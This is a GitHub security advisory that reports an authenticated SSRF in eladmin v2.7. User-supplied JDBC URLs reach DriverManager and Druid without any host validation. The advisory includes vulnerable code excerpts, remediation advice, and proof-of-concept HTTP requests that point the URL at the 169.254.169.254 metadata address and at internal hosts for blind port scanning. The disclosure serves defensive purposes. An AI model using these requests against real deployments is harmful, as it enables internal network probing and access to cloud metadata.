Skip to content

[Security] SSRF via attacker-controlled JDBC URL in database maintenance endpoints #907

Description

@Ku4D3

Severity: High · CWE: CWE-918 (Server-Side Request Forgery)
Affected versions: v2.7

Summary

The database maintenance module lets a user supply an arbitrary JDBC URL and hands it to DriverManager.getDriver and a DruidDataSource that connects to it, opening an outbound TCP connection from the eladmin server to an attacker-chosen host:port. There are two entry points: a stored path that persists the URL and connects later when a SQL script is run, and a direct test-connection path that connects immediately and returns a boolean, making it a reliable blind internal port-scanner. The sanitizeJdbcUrl helper only rewrites a fixed six-parameter blocklist and never constrains the host:port, so the SSRF is open, and dangerous JDBC driver parameters outside the blocklist remain reachable.

Vulnerability chain

Stage Component Location
Source (stored) createDatabase / updateDatabase bind @RequestBody Database.jdbcUrl and persist it eladmin-system/.../maint/rest/DatabaseController.java:72-86
Trigger (stored) uploadDatabase reads the persisted jdbcUrl and calls SqlUtils.executeFile DatabaseController.java:107-118
Source (direct) testConnect binds @RequestBody Database.jdbcUrl and calls testConnection DatabaseController.java:99-103
Sink SqlUtils.getDataSource: DriverManager.getDriver(url) then DruidDataSource.setUrl(url).init() (outbound TCP) eladmin-system/.../maint/util/SqlUtils.java:49-90

The Database entity stores jdbcUrl as a free-form String with no @Pattern or scheme/host validation. DatabaseServiceImpl.testConnection forwards resources.getJdbcUrl() straight to SqlUtils.testConnection, and uploadDatabase passes the persisted database.getJdbcUrl() to SqlUtils.executeFile. Both reach SqlUtils.getDataSource, which first calls DriverManager.getDriver(jdbcUrl.trim()) and then DruidDataSource.setUrl + init(), causing an outbound connection to whatever host the URL names. sanitizeJdbcUrl is applied only after the getDriver call and only neutralizes a small set of =true parameters, leaving the destination host:port untouched.

Key code

Database.jdbcUrl — no validation on the URL (Database.java:45-46):

@ApiModelProperty(value = "数据库连接地址")
private String jdbcUrl;

DatabaseController — stored trigger and direct test (DatabaseController.java:99-118):

@PostMapping("/testConnect")
@PreAuthorize("@el.check('database:testConnect')")
public ResponseEntity<Object> testConnect(@Validated @RequestBody Database resources){
    return new ResponseEntity<>(databaseService.testConnection(resources),HttpStatus.CREATED);
}
...
@PostMapping(value = "/upload")
@PreAuthorize("@el.check('database:add')")
public ResponseEntity<Object> uploadDatabase(@RequestBody MultipartFile file, HttpServletRequest request)throws Exception{
    String id = request.getParameter("id");
    DatabaseDto database = databaseService.findById(id);
    ...
    String result = SqlUtils.executeFile(database.getJdbcUrl(), database.getUserName(), database.getPwd(), executeFile);

SqlUtils.getDataSource — sink, outbound connection (SqlUtils.java:49-90):

private static DataSource getDataSource(String jdbcUrl, String userName, String password) {
    DruidDataSource druidDataSource = new DruidDataSource();
    ...
    className = DriverManager.getDriver(jdbcUrl.trim()).getClass().getName();   // resolves/loads driver for attacker URL
    ...
    jdbcUrl = sanitizeJdbcUrl(jdbcUrl);   // only rewrites a 6-param =true blocklist, host:port untouched
    druidDataSource.setUrl(jdbcUrl);
    ...
    druidDataSource.init();   // opens an outbound TCP connection to host:port

sanitizeJdbcUrl — weak parameter blocklist, no destination control (SqlUtils.java:209-231):

String[][] unsafeParams = {
        {"allowLoadLocalInfile", "false"},
        {"allowUrlInLocalInfile", "false"},
        {"autoDeserialize", "false"},
        {"allowNanAndInf", "false"},
        {"allowMultiQueries", "false"},
        {"allowPublicKeyRetrieval", "false"}
};
for (String[] param : unsafeParams) {
    jdbcUrl = jdbcUrl.replaceAll("(?i)" + param[0] + "=true", param[0] + "=" + param[1]);
}

Proof of Concept

Direct path — points the JDBC URL at an internal address and triggers an immediate outbound connection:

POST /api/database/testConnect HTTP/1.1
Host: <eladmin-host>
Authorization: Bearer <JWT with database:testConnect>
Content-Type: application/json

{"name":"probe","jdbcUrl":"jdbc:mysql://169.254.169.254:3306/test","userName":"u","pwd":"p"}

The boolean response (success vs. exception) distinguishes an open internal port from a closed one, enabling blind port enumeration against internal services and cloud metadata endpoints.

Stored path — persists the URL first, then triggers the connection on script upload:

PUT /api/database HTTP/1.1
Host: <eladmin-host>
Authorization: Bearer <JWT with database:add>
Content-Type: application/json

{"id":"<id>","name":"probe","jdbcUrl":"jdbc:mysql://<internal-host>:3306/test","userName":"u","pwd":"p"}

followed by:

POST /api/database/upload?id=<id> HTTP/1.1
Authorization: Bearer <JWT with database:add>
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="a.sql"
Content-Type: application/octet-stream

SELECT 1;
------x--

upload resolves the persisted jdbcUrl and connects to it via SqlUtils.executeFilegetDataSource.

Impact

  • Authenticated SSRF. Any principal with database:testConnect (direct) or database:add (stored) can make the eladmin server open outbound TCP connections to arbitrary host:port values.
  • Blind internal port scanning and probing of cloud-metadata and internal admin services via the boolean testConnect response.
  • The connection is handed to a JDBC/Druid stack; dangerous driver parameters beyond the six-item blocklist (for example JDBC options that load local files or instantiate driver classes from the URL) are not constrained by sanitizeJdbcUrl, so the surface is wider than pure port scanning depending on the available drivers.

Remediation

  • Do not accept a raw JDBC URL from user input. Resolve datasources by a configured/administered identifier, or restrict the URL to an allowlist of permitted schemes and hosts before any connection attempt.
  • If a user-supplied URL must be supported, validate scheme/host/port against a strict allowlist and reject non-routable or metadata destinations before getDriver/init.
  • Replace the sanitizeJdbcUrl parameter blocklist with an allowlist of safe driver options, or configure the connection pool to reject dangerous parameters by default.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions